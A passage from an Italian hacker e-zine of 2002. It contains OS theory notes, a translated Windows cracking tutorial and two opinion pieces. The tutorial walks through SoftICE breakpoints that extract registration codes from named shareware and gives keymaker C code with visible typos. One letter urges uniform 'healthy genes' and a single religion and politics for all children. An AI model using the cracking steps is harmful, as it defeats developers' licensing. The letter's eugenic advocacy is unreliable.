here]------8<----------8<\n"); | | printf("8<\t\twArFaRe - CutHere\t\t8<"); | | printf("\n8<----------8<------[Cut here]------8<----------8<\n"); | | if(argc != 4){ | | printf("\nUsare %s , , \n", argv[0]); | | exit(1); /* Se il numero parametri e' sbagliato esce */ | | } | | if(!strcmp(argv[1], argv[3])){ | | printf("Error> Il file di input non deve coincidere con il file di | | output.\n"); | | exit(1); | | } | | /* apertura del file passato come parametro */ | | if((fp=fopen(argv[1], "rb")) == NULL){ | | printf("\nErrore di apertura file\n"); | | exit(1); /*Se si verifica un errore nell'apertura del file esce*/ | | } | | /*Trasformo in long argv[2] perche' la sintassi di fseek e' | | int fseek(FILE *, long, int); */ | | nbyte = atol(argv[2]); | | /*mi posiziono sulla nbytesima.. :-P*/ | | fseek(fp, nbyte, 0); | | printf("\nFile Input:\t %s", argv[1]); | | /* apro il file di output..*/ | | if((fpz=fopen(argv[3], "wb")) == NULL){ | | printf("\nErrore di apertura file\n"); | | exit(1); /*Se si verifica un errore nell'apertura del file esce*/ | | } | | printf("\nFile Output:\t %s", argv[3]); | | /*finche' non finisce il file gli scrivo */ | | while(ch!=EOF){ | | ch = getc(fp); | | if(ch==EOF) | | exit(1); | | fprintf(fpz,"%c",ch); | | } | | /*Chiudo i filez*/ | | fclose(fp); | | fclose(fpz); | | /*Finish :-P*/ | | } | | // wArFaRe 8.37.24 25.11.02 Cut Here | | //8<-------8<-------8<---[Cut here]---8<-------8<-------8>> Nucleo o Kernel | | 4-Gestione del processore ad alto livello | dell'OS | | 5-Gestione dei dispositivi di I/O | | | 6-Gestione delle informazioni ___| | | 7-Programmi applicativi | | 8-Spooling (code di stampa) | | 9-Interprete | | -----------(sembra chiaro) | | | | Importante e' capire il ciclo di vita di un processo in ambienti | | multiprogrammati. | | | | | | ........................ | | ______ _____ ! ______ ____ ! __________ | | | | | | ! | | | | ! | | | | |Submit|----|Hold |--!--|Ready |----|Run |--!---| Complete | | | |______| |_____| ! |______| |____| ! |__________| | | ! / ! | | ! / ! | | ! ___/__ ! | | ! | | ! | | ! | Wait | ! | | ! |______| ! | | !----------------------! | | | | | | Allora, vediamo un po' + analiticamente: | | | | Submit => tempo per elaborare le schede perforate (ora e' stato | | eliminato in quanto nn esistono + ); | | | | Hold => coda: qui avviene l'attesa del rilascio delle risorse fisiche di | | cui ha bisogno il processo per entrare nella fase di esecuzione; | | | | Ready => i programmi hanno avuto le risorse e sono pronte x l'esecuzione | | (avviene la selezione dell'utente); | | | | Run => esecuzione del programma. | | | | |- si stabilisce un tempo di utilizzo detto Time Slice superato il quale | | | si torna alla fase ready; | | | | | |- x le istruzioni di I/O il cui tempo di esecuzione e' maggiore | | | rispetto a quelle logico-aritmetiche, avviene il rinvio a wait x poi | | | tornare alla fase ready. | | | | INTERRUPT ==> segnale di interruzione lanciato dalla CPU. Il OS deve | | quindi attivare un meccanismo per salvare le istruzioni | | fino ad allora eseguite. | | | | Le importantissime fasi eseguite, che invito caldamente ad imparare | | perche' danno logica a tutti il processo di elaborazione (anche il | | nostro processo mentale!) sono: | | 1.Conoscere istante per istante lo stato delle risorse | | 2.Determinare le strategie in base alle quali utilizzare le risorse | | 3.Allocare le risorse | | 4.Deallocare le risorse. | | ]----> x casa: imparare A MEMORIA la sequenza!! <-------[ | | | | | | <<<<-@-@-@-@-@-@-@- CONFIGURAZIONI FONDAMENTALI -@-@-@-@-@-@-@->>>> | | | | Il sistema viene fornito all'utente finale in diverse configurazioni, | | cinque per l'esattezza, di cui tre sono le + conosciute, e le ultime due | | un po' piu' specifiche. | | Ecco l'elenco: | | 1)Sistemi dedicati | | 2)Sistemi a lotti (batch system) | | 3)Sistemi interattivi multiutente | | 4)Sistemi transazionali | | 5)Sistemi real-time | | Vediamoli in dettaglio: | | | | ___ | | /_ | ) | | | | ) | | | | ) SISTEMA DEDICATO __| |__ ) | | \_____/ ) | | | | I sistemi dedicati sono tutti quei sistemi che prevedono l'utilizzo | | della macchina da parte di un solo utente per volta, come succede con i | | vari Win95/98/ME. Per capire meglio il concetto basti pensare a WinNT o | | il 2000 che permettono a puu' utenti contemporaneamente l'utilizzo delle | | risorse. Fortunatamente questi sistemi sono multitasking, cioe' + task | | (jobs) possono essere avviati sulla stessa macchina ( Es. Paint e | | Explorer). Per far cio' si utilizza un meccanisco che scompone i | | programmi in piccole parti in modo da permetterne l'utilizzo delle | | risorse questa caratteristica si chiama multithreading. Questo ci | | illumina anche sull'importanza delle librerie di collegamento dinamico | | (DLL), che permettono alla macchina di alleggerire il carico di lavoro. | | Nel concetto di multitasking troviamo anche il termine background | | riferito all'applicazione che lavora "in sottofondo" mentre noi facciamo | | altro. | | _____ | | / _ ) ) | | (_/ ) / ) | | / / ) SISTEMA BATCH (il 2 mi e' uscito uno schifo,azz) | | / /__ ) | | (_____) ) | | | | Il sistema batch e' un sistema che nn permette nessuna interazione da | | parte dell'utente, che deve "limitarsi" a dare tutti i comandi necessari | | al fine di permettere alla macchina di "vedersela da solo". | | Da qui il richiamo ai mitici file batch che tutti usiamo per | | semplificare comandi e procedure sotto ms-dos, le cui radici pero' | | affondano nel dr-dos, se nn ricordo male (si parla di fine anni 70 / | | inizi 80). | | Tornando a noi , questo metodo e' utilizzato principalmente per uccidere | | i tempi morti del calcolatore conseguenti a interazioni con l'utente. | | Cosi' come le operazioni di input vengono velocizzate (l'elaboratore | | "parla" con la memoria di massa) anche quelle di output funzionano | | analogalmente. L'output quindi nn si avra' su stampante o schermo, ma su | | memoria, alla quale attingiamo tramite l'elaboratore di canale. Il | | passaggio avviene tramite un'area di memoria (buffer) nella quale si | | accumulano i caratteri da trasferire, anche generando l'eco sullo | | schermo. Il significato di tutto questo va ricercato nel fatto che | | inizialmente nn esistevano monitor e affini, e le interazioni con la | | macchina avvenivano solo con la tastiera e la stampante. Ecco spiegato | | il bisogno di "rimandare" la stampa. Adesso capite perche' i comandi | | UNIX sono tutti brevissimi (ls, cat..) ? | | | | ___________________________________________________________________ | | | | | | | Le fasi del lavoro batch sono 3: | | | | | | | | 1) Preparazione dei dati. | | | | In cui Offline si prepara tutta la sequenza.Oggigiorno | | | | questo avviene tramite file di testo. | | | | 2) Inoltro all'elaboratore. | | | | Avveniva con le schede perforate, oggi con INVIO. | | | | 3) Ritiro risultati. | | | | La stampante e' stata sostituita da un + comodo monitor a 4 | | | | milioni di colori (li ho contati :P) | | | |___________________________________________________________________| | | | | _____ | | / _ | ) | | /_/ / / ) | | _ | \ ) SISTEMA INTERATTIVO MULTIUTENTE \ \_\ | ) | | \_____| ) | | | | In questo particolare sistema si sfrutta il concetto spiegato | | precedentemenete del time slice, per cui ad ogni utente che usa le | | risorse della CPU spetta un tempo di utilizzo che rende la macchina una | | virtuale portazione condivisa, in modo che ognuno abbia l'apparenza di | | avere un terminale diverso dagli altri. Naturalmente le risorse gengono | | sfruttate maggiormente, ma almeno si da interattivita' agli utenti, cosa | | che non succedeva per i sistemi batch. Il time slice avra' quindi una | | durata minore se gli utenti della macchina saranno maggiori, proprio per | | permettere a tutti di lavorarci. Pero' vedremo che minore sara' il T.S. | | e maggiore sara' l'utilizzo della CPU, che si ritrovera' in system | | overload. Quindi terremo in considerazione la velocita' | | del processore, che verra' misurato in MIPS (milioni di istruzioni per | | secondo). | | | | ____ | | / | ) | | / /| | ) | | / /_| |__ ) SISTEMI TRANSAZIONALI | | |____ __| ) | | |__| ) | | | | I sistemi transizionali sono un sottoinsieme di quelli interattivi | | multiutente, e nascono dalla necessita' di ottenere una base di dati | | efficiente, potente e durevole. | | Infatti pensiamo ad un grande magazzino, che ha la necessita' di | | ottenere i dati in forma "perfetta" senza errori, e' qui che interviene | | il sistema transazionele, che permette di registrare il movimen o nella | | sua interezza anche in situazioni estreme, o eliminandolo sempre nella | | sua interezza se anche solo un dato va perso, per permettere di | | reinserirlo sucessivamente aver risolto il problema. | | E' abbastanza difficile capire bene il funzionamento e l'importanza di | | questo sistemo,ma basti pensare che e' utilizzato dalle reti Bancomat, | | dalla Borsa Telematica, eccetera... | | | | _______ | | | ____| ) | | | (___ ) | | (___ \ ) SISTEMI REAL TIME ___) ) ) | | |______/ ) | | | | I sistemi real time sono i sistemi che lavorano in tempo reale, in | | virtu' del concetto che un risultato, seppur corretto, e' inutilizzabile | | se ottenuto in ritardo, quindi e' errato. | | Naturalmente la velocita' del sistema di calcolo e' diversa da macchina | | a macchina, quindi per misurarla vengono utilizzati due parametri (sono | | di piu' ma ve li risparmi! ;-) che sono: | | | | @>- Attivita' della CPU (CPU activity) | | Espressa in percentuale e': | | | | (TU + TS) * 100 | | CPUA(%)= ------------------ | | TT | | | | Legenda: CPUA (CPU Activity) | | TU (Tempo Utente = tempo dedicato ai prog. degli utenti) | | TS (Tempo Sistema = tempo dedicato alle attivita' del sistema, | | come il time sharing) | | TT (Tempo Totale = intervallo in cui il sistema e' al servizio | | degli utenti) | | | | | | @>- Produttivita' (Throughput) | | Questo parametro serve ad indicare quanta CPU viene dedicata all'utente | | misurata in millisecondi. | | Naturalmente e' un parametro che varia insieme al tipo di lavoro che si | | incarica la CPU. Attenzione: | | non la Quantita' ma IL TIPO, esempio una base di dati e' diversa da uno | | spooler. | | | | Thx to: un grande, forse IL grande | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [MiSC] #05 - 14/01/2002 | | CRACKiNG iN WiND0WS (TRADUZi0NE) [True-love] 0x16/0x23 | +--------------------------------------------------------------------------+ | | | Disclaimerz: Non mi assumo nessuna responsabilità di quello ke sta | | scritto qui sotto, tutto quello scritto nella guida non è mai stata | | scritta di mio pugno ma è solo la traduzione più fedele possibile della | | guida di ED!SON al cracking in windows. In oltre tengo a specificare | | che io non ho mai conosciuto ED!SON ne di persona ne per virtuale, io | | non so neanche chi sia, quindi se proprio dovete incolpare qualcuno | | sappiate che io non centro nulla. | | Se tutto quello che è scritto di seguito in qualche modo vi offende | | distruggete subito questi byte dal vostro computer. Se invece non vi | | turbano e anzi,vi interessano, spero che la mia fedele traduzione possa | | servirvi a qualcosa. | | Cracking in Windows | | Guida presa da: (ED!SON's Windows95 Cracking Tutorial v 1.00)Writeln by | | ED!SON and traslate by True-love | | 1. Introduzione al Cracking in Windows | | Crackare un programma Windows spesso è molto più semplice di un | | programma che gira in DOS. In Windows, è difficile trovare qualcosa da | | qualcuno che cerchi realmente le informazioni, finché le funzioni sono | | in possesso di Windows. | | Il primo (e anche l'ultimo) programma di cui tu hai bisogno è | | SoftICE/Win 2.00(o superiore), un potente debugger della NuMega. Alcune | | persone trovano difficile il suo uso, ma io vi spiegherò come farci un | | efficiente debugging, e io spero che voi mi capirete :-) | | Ho creato un Appendice (A) che potrai leggere con alcune info su | | SoftICE/Win 2.00. Io non ho nessun problema ad installare SoftICE, se | | tu li hai, io rinvierò il manuale. | | 2. Piccola introduzione a SoftICE/Win 2.00 | | Ciò dovrebbe essere una vista ragionevolmente difettosa della | | disposizione della schermata di SoftICE: | | Registri | | Usa R per editare | | Dati Window | | Usa D per vedere un indirizzo, E per editarlo | | Codice Window | | Usa U per vedere un indirizzo, A per inserire un codice "asm" | | Comando Window | | Scrivi i comandi e leggi l'output qui | | Altri importanti tasti sono (nella disposizione di default dei tasti): | | "H/F1" - Aiuto in Linea | | "F5/Ctrl+D - Gira | | "F8" - Step nelle funzioni | | "F10" - Step attraverso le funzioni | | "F11" - Step fuori dalle funzioni | | 3. Trovare un codice di registrazione | | Questa è probabilmente la via più facile per fare pratica, prendere un | | programma Shareware e provare a registrarlo. | | 3.1. Task Look 3.00 - Una semplice registrazione numerica | | l'unica protezione | | Questa è una semplice protezione, un solo codice, che non cambia. | | 3.1.1. Esaminiamo il programma | | E' a 16 o a 32 bit? Dove inserisco le informazioni di registrazione? | | L'aiuto mi da alcuni indizi sul lavoro di registrazione? Andate a | | cercarlo fuori prima di continuare! | | ... Dovresti aver controllato ora!... Stai controllando?... | | Hai controllato?... | | Ok, ora tu sai che è una applicazione di Windows 95 a 32-bit, e che tu | | puoi registrare il programma inserendo una singola Registrazione | | Numerale in una finestra di dialogo che appare quando scegli il menù | | "Register|Register...". Tu sai anche, dalle letture nell'help, che ci | | sono due tipi di registrazione: Individuale e Licenza dal Sito. Così | | molto probabilmente ci saranno DUE controlli per validare i codici. | | 3.1.2. Intrappolare la routine del codice | | I codici di solito sono all'interno delle normali "Windows Edit Boxes". | | Per controllare il codice, il programma può leggere il contenuto delle | | "Edit Box" con UNA di queste funzioni: | | 16-Bit | | 32-Bit | | GetWindowText | | GetWindowTextA, GetWindowTextW | | GetDlgItemText | | GetDlgItemTextA, GetDlgItemTextW | | L'ultima lettera delle funzioni a 32-bit indica se la funzione usa | | stringhe a un-byte o a un doppio-byte. Il codice a doppio-byte è | | RARO. Forse hai avuto la mia idea... "Se soltanto potessi breckare su | | GetWindowText" E - tu puoi! Ma prima devi essere sicuro che i simboli | | siano caricati da SoftICE. (Vedi Appendice A). | | Per settare una trappola (chiamata realmente breakpoint) in SoftICE, | | prima devi entrare nel debugger con Ctrl-D, poi usa il comando BPX | | seguito dal nome della funzione o dall'indirizzo della memoria. E Task | | Look è un 32-bit così metti un breakpoint su GetWindowTextA. Se questo | | non funziona possiamo provare con gli altri. | | Scrivi questo in SoftICE: | | :bpx getwindowtexta | | Se hai un messaggio come "No LTD", assicurati che non stiano girando | | altri programmi in background. Ho saputo che Norton Commander/DOS | | disturba queste funzioni. Puoi vedere se hai attivato alcuni breakpoint | | dalla lista dei brack points scrivendo: | | :bl | | Questo ti risponde qualcosa del genere: | | BPX USER32!GetWindowTextA C=01 | | Per uscire da SoftICE, devi premere ancora Ctrl-D. | | Allora, comunque, hai settato i tuoi breackpoint che intrappoleranno | | qualunque chiamata verso GetWindowTextA. Ora prova a inserire alcuni | | valori del numero di registrazione nel campo e primi OK... Premi Ok... | | e ti comparirà subito una stupida finestra di messaggio che ti dirà che | | il codice da te inserito era sbagliato. Così non era GetwindowTextA... | | Ora prova GetDlgItemTextA. Prima cancelliamo il vecchio breackpoint: | | :bc 0 | | (0 corrisponde al numero del breakpoint nella lista dei breakpoint) | | Ora setta il nuovo: | | :bpx getdlgitemtexta | | Proviamo ancora... | | 3.1.3. Nel Debugger | | Wow! Lavora! Ora sei dentro a SoftICE., al punto dove la funzione | | GetDlgItemTextA parte. Per saltare al punto dove era stato chiamato, | | premi il tasto F11. Ora sei dentro SGLSET.EXE, se non ne sei sicuro, | | guarda sopra la linea tra il codice e il comando di window, dovrebbe | | essere come questo: | | ---------------SGLSET!.text+1b13------------------ | | Ora puoi anche disabilitare i breakpoint facendo questo: | | :bd0 | | Per riabilitarlo più tardi se vuoi farlo girare ancora fai questo: | | :be0 | | La prima linea nella finestra del codice è come questa: | | CALL [USER32!GetDlgItemTextA] | | Per vedere le linee sopra, premi Ctrl+ il tasto con la freccia rivolta | | verso su un po di secondi, fino a quando vedi la linea superiore. Se | | non sai niente di Assembler, ho aggiunto i commenti alle linee. | | RET ; Fine della funzione | | PUSH EBP ; Inizio della funzione | | MOV EBP, ESP ; ... | | SUB ESP, 0000009C ; ... | | PUSH ESI ; ... | | > LEA EAX, [EBP - 34] ; EAX = EBP - 34 | | PUSH EDI ; ... | | MOVE ESI, ECX ; ... | | PUSH 32 ; Salva: la stringa con la grandezza massima | | > PUSH EAX ; Salva: l'indirizzo del testo amplificato | | PUSH 000003F4 ; Salva: l'identificatore di controllo | | PUSH DWORD PTR [ESI+1C] ; Salva: il titolo della finestra | | di dialogo | | CALL [USER32!DlgItemTextA] ; Prende il testo | | Il comando PUSH salva i valori per un uso futuro. Ho segnato le linee | | più importanti con un ">". Guardando questo sappiamo che l'indirizzo | | del testo amplificato era memorizzato in EAX, e che EAX era EBP-34. | | Così ora guardiamo a EBP-34 così: | | :d ebp-34 | | Ora se guardi nella "data window" dovresti essere capace di leggere | | quello che avevi inserito. Ora abbiamo trovato un posto dove il codice | | è inserito con una funzione. Steppiamo attraverso il programma una | | istruzione alla volta con F10 fino a quando troviamo qualcosa circa | | EBP-34... non steppare molto durante questo codice: | | >LEA EAX, [EBP+FFFFFF64* ; EAX=EBP-9C | | LEA ECX, [EBP-34] ; ECX=EBP-34 | | PUSH EAX ; Salva EAX | | PUSH ECX ; Salva ECX | | >CALL 00403DD0 ; Chiama una funzione | | ADD ESP, 08 ; Cancella le informazioni salvate | | TEST EAX, EAX ; Controlla la funzione di ritorno | | JNZ 00402BC0 ; Salta se non è zero | | Per me, questa sembra direttamente come una stringa che controlla la | | funzione. Questa funzione così: | | *Inserisci 2 stringhe, ritorna zero se è uguale, altrimenti non-zero | | E perché il programma dovrebbe controllare una stringa con una | | inserita? Per vedere se era valida! (Come probabilmente hai già | | immaginato) Allora, com'è il nascondiglio dietro all'indirizzo | | [EBP+FFFFFF64] dunque? SoftICE non manipola i numeri negativi molto | | bene, così per trovare il valore reale fai questo calcolo: | | 100000000 - FFFFFF64 = 9C | | Puoi fare il calcolo in SoftICE così: | | :? 0-FFFFFF64 | | Il numero 100000000 è troppo grande per SoftICE, ma da lo stesso | | risultato in un altro modo. | | E ora... è ora di guardare cosa si nasconde dietro EBD-9C... così: | | :d ebd-9c | | La finestra dei dati ora mostrerà una lunga fila di numeri - il codice! | | Ma ricorda cosa dicevo inizialmente... 2 tipi di registrazione danno 2 | | codici... così dopo che tu hai copiato il codice, continuiamo a steppare | | con F10... Arriviamo a questo pezzo di codice: | | >LEA EAX, [EBP-68] ; EAX = EBP-68 | | LEA ECX, [EBP-34] ; ECX = EBP-34 | | PUSH EAX ; Salva EAX | | PUSH ECX ; Salva ECX | | >CALL 00403DD0 ; Chiama ancora la funzione | | ADD ESP, 08 ; Cancella le informazioni salvate | | TEST EAX, EAX ; Controlla la funzione di ritorno | | JNZ 00402BBF ; Salta se non è zero | | E cosa trovi all'indirizzo EBP-68? Allora... un altro codice | | di registrazione! | | :d ebp-68 | | Questo è tutto... Spero che tutto funzioni! | | 3.1. Command Line 95 - Facile registrazione nome/codice, e inserimento | | di un keymaker | | Questo è un semplice programma, con un codice di calcolazione | | molto facile. | | 3.1.1. Esaminando il programma | | Esamina il programma e vedi un codice a 32-bit, richiede un Nome e un | | Codice nel dialogo di registrazione. | | Allora iniziamo! | | 3.1.2. Intrappola la routine del codice | | Facciamo come TaskLook - settiamo i breakpoint. Possiamo settare i | | breakpoint alla nascita delle 2 funzioni più importanti: GetWindowTextA | | e DlgItemTextA. Premi Ctrl+D per far apparire SoftICE, poi: | | :bpx getwindowtexta | | bpx getdlgitemtexta | | Ora andiamo al dialogo di registrazione, e inseriamo un nome e un | | numero qualunque (un numero intero è il codice più usato), io ho | | scritto questo, e ho premuto OK... | | Name: ED!SON '96 | | Code: 12345 | | Il programma si è fermato a GetDlgItemTextA. Proprio come con TaskLook, | | premiamo F11 per tornare alla funzione della chiamata. Scorriamo in su | | con Ctrl+su e la call e come questa: | | MOV ESI, [ESP+09C] ; Lunghezza massima | | PUSH 1E ; Indirizzo amplificato | | PUSH 0040A680 ; Controllo manipolato | | PUSH ESI ; Dialogo manipolato | | CALL [USER32!GetDlgItemTextA] | | Io numero 40A680 per noi è interessante guardarlo; allora controlliamo | | questo indirizzo: | | :d 40a680 | | Allora, guardiamo attraverso questo pezzo di codice, e ci dice: | | PUSH 00 ; (Non interessante) | | PUSH 00 ; (Non interessante) | | PUSH 000003F6 ; Controllo manipolato | | MOV EDI, 0040A680 ; Salva l'indirizzo amplificato | | PUSH ESI ; Dialogo manipolato | | CALL [USER32!GetDlgItemInt] | | GetDlgItemItem è simile a GetDlgItemTextA, ma ritorna ad un numero | | intero da una "text box". E' ritornato in EAX, allora steppiamo dopo | | queste istruzioni, e guardiamo nella finestra dei registri... A me | | mi dice: | | EAX=00003039 | | E come è 3039 in hex? Scrvi: | | :? 3039 | | E hai questo: | | 00003039 | | 0000012345 | | "09" | | ^ hex | | ^ dec | | ^ ascii | | E, come puoi vedere (e avevi già supposto), ci mostra il codice che | | avevi scritto. Ok, Come ora? Diamo un occhiata al codice che segue, | | prima è salvato il codice di ritorno: | | MOV [0040A548] ; Codice di ritorno salvato | | MOV EDX, EAX ; Mette il codice di ritorno in DX | | 3.1.3. Calcolando il codice | | Dopo il codice è calcolato! | | MOVE ECX, FFFFFFFF ; Questa linea manipola la stringa di calcolo | | SUB EAX, EAX ; . | | REPNZ SCASB ; . | | NOT ECX ; . | | DEC ECX ; ECX ora contiene la manipolazione | | MOVSX EAX, BYTE PTR [0040A680] ; Prende byte a 40A680 | | IMUL ECX, EAX ; ECX = ECX * EAX | | SHL ECX, 0A ; Trasferisce a sinistra il passo 0A | | ADD ECX, 0002F8CC ; Aggiunge 2f8cc al risultato | | MOV [0040A664], ECX | | E valicato... | | CMP ECX, EDX ; Confronta i codici | | JZ 00402DA6 ; Se è uguale, salta... | | Quando hai steppato al codice di confronto, potete controllare come | | dovrebbe essere REALMENTE il vostro codice: | | :? Ecx | | A me da questo: | | 000DC0CC 0000901324 | | Questo significa che per me il codice esatto è 901324 | | Quindi premiamo F5 o Ctrl+D, per permettergli di rigirare, e riproviamo | | ancora, con il codice ESATTO, ma nella forma decimale. Lavora!!! | | 4. Fare un keymaker per Command Line 95 | | Guardiamo alla calcolazione del codice, e traduciamolo in C. Inseriamo | | questa descrizione molto semplice di come il codice è calcolato: | | codice = ( (prima_lunghezza_maiuscola * lunghezza_della_stringa) << | | 0x0A) + 0x2F8CC; | | Nota (1): Una cosa da non dimenticare quando li inserisci nella "text | | box" è che tutti i parametri sono stati convertiti in maiuscolo, così | | noi dobbiamo fare lo stesso. | | Nota (2): "<<0x0A" significa "moltiplica con 2^10 (2 alla decima)" | | Tutti i programmi in C dovrebbero essere come questo: | | #include | | #include | | int main() | | { | | unsigned long code; | | unsigned char buffer [0x1e]e; | | printf ("CommandLine95 Keymaker by ED!SON '96\n"); | | printf ("Enter name: "); | | gets (buffer); | | strupr (buffer); | | code = ( (unsigned long)buffer [0] * | | (unsigned long)strlen (buffer)) | | << 0x0A) + 0x2f8cc; | | | | pritf ("Your code is: %lu", code); | | return 0; | | } | | Goditela! | | 4. Come funzionano veramente PUSH e CALL quando il programma chiama | | una funzione | | Diamo ancora un'occhiata a questo pezzo di codice preso da Task Look: | | PUSH 32 ; Salva: la misura massima della stringa | | PUSH EAX; Salva: l'indirizzo del testo ingrandito | | PUSH 000003F4; Salva: l'identificatore di controllo | | PUSH DWORD PTR [ESI+1C]; Salva: la manipolazione della "dialog box" | | CALL [USER32!GetDlgItemTextA]; Prende il testo | | Se la chiami da un programma C, la chiamata sarà come questa: | | GetDlgItemTextA(hwndDLG, 0x3F4, buffer, 0x32) | | ^ [ESI+1C] ^ EAX | | PUSH salva i dati in qualcosa chiamata lo "Stack". Questi risultati in | | ciascun PUSH inserisce un nuovo pezzo di dati all'inizio dello stack, e | | la funzione dopo controlla come è posizionata nello stack e lo usa per | | farci qualsiasi cosa è stato pensato. | | 5. Riguardo ai programmi in Visual Basic | | I file in Visual Basic non sono .EXE reali, compilati in EXE. Essi | | contengono codice sufficente per chiamare BRUNxxx.DLL, che legge i dati | | da exe per far girare il programma. Questo è anche un motivo del perché | | i programmi in Visual Basic sono così lenti. E quando i file EXE non | | sono reali, non puoi disassemblarli, trovi appena la chiamata alla DLL | | e molta immondizia, e quando debugghi, finisci troppo nelle DLL. La | | soluzione è un decompilatore. C'è un decompilatore per Visual Basic | | 2 & 3, creato da qualcuno chiamato DoDi. E' shareware ed è disponibile | | in rete. (Vedi Appendice C) In windows 95, ci sono applicazione per | | versioni di Visual Basic a 32-bit, e per loro non c'è decompilatore che | | io conosca, sebbene spero che ci fosse. | | Nota: Nessun vero (o brillante) programmatore crea programmi in Basic. | | A. Creare i "Load symbols" in SoftICE | | Per controllare se SoftICE ha caricato i simboli per GetwindowText, | | entra in SoftICE con Ctrl+D e scrivi così: | | :exp getwindowtext | | Se non ti da tutto il listato delle funzioni di GetWindoText, devi | | editare \SIW95\WINICE.DAT rimovendo il carattere ";" da alcune linee | | "exp=" che seguono con questo testo: "Examples of export symbols that | | can be included for Chicago" vicino alla fine del file. Puoi rimuovere | | il punto e virgola da tutte le linee, oppure salvarlo in memoria, con | | ognuno di questi file: kernel32.dll, user32.dll, gdi32.dll, che sono | | quelli più importanti. | | Quando stai editando, dovrai riavviare il computer per apportare | | le modifiche. | | B. Sintassi per le funzioni | | E' sempre molto semplice capire le chiamate delle funzioni, ne parliamo | | a proposito per quando le devi dichiarare, iniziamo: | | int GetWindowText(int windohandle, char *buffer, int maxlen); | | int GetDlgItemText(int dialoghandle, int controlid, char *buffer, | | int maxlen); | | int GetDlgItemInt(int dialoghandle, int controlid, int *flag, | | int type); | | Per una descrizione più dettagliata delle funzioni, controlla in | | Windows/Win32 un riferimento sulla programmazione. | | C. Dove ottenere i software | | Tool per crackare: | | SoftICE/win 2.00: http://www.geocities.com/soho/2680/cracking.html | | Decompilatore VB: ftp://ftp.sn.no/user/balchen/vb/decompiler | | Programmi d'esempio: | | TaskLock: http://users.aol.com/sajernigan/sgllck30.zip | | Command Line | | 95: ftp://ftp.winsite.com/pub/pc/win95/miscutil/cline95.zip | | D. Contattatemi | | Su IRC (EFNET): In #Ucf96, #Cracking | | Per E-Mail: edison@ccnux.urm.my o an461165@anon.penet.fi | | Alla mia Home Page: http://www.geocities.com/soho/2680/cracking.html | | La traduzione della guida è finita, ricordo che tutto quello scritto | | sopra di questo non altro che la traduzione fedele della guida di | | ED"SON al cracking in windows. | | Thanks : a tutti quelli che mi permetteranno di pubblicare questa | | traduzione,a ED!SON per aver scritto questa guida, a Pbdz, ^Spider^, | | albe, phobos, Blackdruid, Themr, CyberPK, Vinx, Blackdeath, | | Master^Shadow, Gogetto, al Que anke se è sempre [zzz], Tux, Kill3xxx, | | Dev, tutti quelli che mi sono dimenticato del canale #crack-it, del | | canale #asm, del canale #spippolatori e tutti quelli che mi sono | | scordato di citare. | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [LO SCiAMANO] #5 - 14/01/2002 | | APELL0 ALL'0NU [Erman] 0x17/0x23 | +--------------------------------------------------------------------------+ | | | Signori dell' O.N.U. | | | | Avete la carta sui DIRITTI dell'UOMO, ma Vi siete dimenticati di | | sviluppare piu' ampiamente il concetto di UOMO, entita' che ha un | | inizio: l' INFANZIA. | | L' infanzia e' il periodo piu' formativo nella vita di un INDIVIDUO. | | Quanti di coloro che conoscono la carta dei diritti dell' UOMO, | | conoscono anche il D.N.A. ed il Progetto GENOMA? | | Che dice il Progetto GENOMA? Che l'uomo dipende dai GENI del DNA per il | | 50%, e per l'altro 50% dall'AMBIENTE ! | | E qual e' l'ambiente piu' formativo se non quello della INFANZIA? | | Quindi Signori dell'O.N.U. non continuate a "declinare" i diritti | | dell'uomo, ma orientate tutte le vostre forze per far si che tutti i | | BIMBI del MONDO parlino la stessa lingua, abbiano la stessa | | alimentazione, abbiano le stesse ISTRUZIONI e gli stessi INPUT. | | Fate in modo che l'INFANTE si sviluppi armoniosamente in tutto il | | MONDO, senza DIVISIONI di razza, di cultura, di religione, di politica. | | Fate che l'ambiente sia veramente FORMATIVO con il suo 50% di influenza | | riconosciuta dalla Scienza, non dalle chiacchiere di politici o preti. | | Esempio: perche' i "sensori biologici" fanno percepire a TUTTI piu'o | | meno nello stesso modo, mentre i "sensori sociali" creano differenze | | tragiche? | | Fate che sia UNA la scienza, UNA la religione, UNA la politica, si che | | l'UOMO conosca "se stesso", secondo l'antico detto e non si senta come | | foglia al vento o barchetta in mare procelloso! | | Signori dell'O.N.U., mettete sulla bandiera, accanto al vs. simbolo, | | anche il simbolo dell'UNICEF, che forse e'il piu' importante | | perche'da'il tono all'inizio e chi bene inizia e'a meta'dell'opera. | | Date a tutti i BIMBI del mondo, non l'assistenza malattia, non gli | | ospedali, ma dei "GENI SANI". | | Ricordate "mens sana in corpore sano" ? E questo La Scienza oggi puo' | | farlo. | | Curiamo l'INFANTE gia'nel feto ed educhiamo i "genitori" ad essere SANI | | prima di procreare. | | E' stato detto "unitevi e procreate", ma non e' stato detto "procreate | | malati". | | E la Scienza, oggi, puo'anche correggere i geni malati. | | E non date ascolto a quei "ciechi" che vogliono guidare altri ciechi. | | Solo la Scienza e' "vera", relativamente, certo. Come del resto | | e'"relativo" tutto il rimanente Creato. Che non e' l'INFINITO ! | | E un grande genio ha scritto, riferendolo come pensiero di un altro | | genio, che solo lo scienziato (da non confondere con il tecnico) | | e'veramente "religioso", perche' via via rintracciando le LEGGI che | | governano il Creato, si avvicina piu' di ogni altro, al suo Creatore! | | 2001 (c) Erman | | Cittadino dell'O.N.U. | | | | http://home.hetnet.nl/~marcan11 | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [LO SCiAMANO] #05 - 14/01/2002 | | CAiN0 ViV0 0 M0RT0 [Bruno Franchi] 0x18/0x23 | +--------------------------------------------------------------------------+ | | | Divulgare Amore non e' un reato | | | | Chiunque va in un tribunale troverà una scritta che dice: "La legge é | | uguale per tutti" mi chiedo quindi perché in mesi si sta facendo una | | "operazione di polizia internazionale" che dovrebbe secondo gli | | americani e tutti gli alleati garantire la più efficace lotta contro | | la mostruosità del terrorismo? Sia ben chiaro quello che é accaduto | | l'11 settembre é stato un atto di una mostruosità inaudita che non può | | essere giustificato neanche con le colpe che ha avuto il cosiddetto | | mondo civile nei confronti dei paesi più poveri; su questo ci sarebbe | | da parlare all'infinito, ma il problema del giorno sono le bombe e i | | missili che stanno cadendo su un paese e una dittatura che tutti | | definiscono bestiale é incivile. Veniamo dunque al perché tutti i paesi | | si sono accomunati ad una logica sola di fare guerra al nemico della | | civiltà, radunando le truppe di aria, di mare e' di terra? Io credo che | | questa logica fa 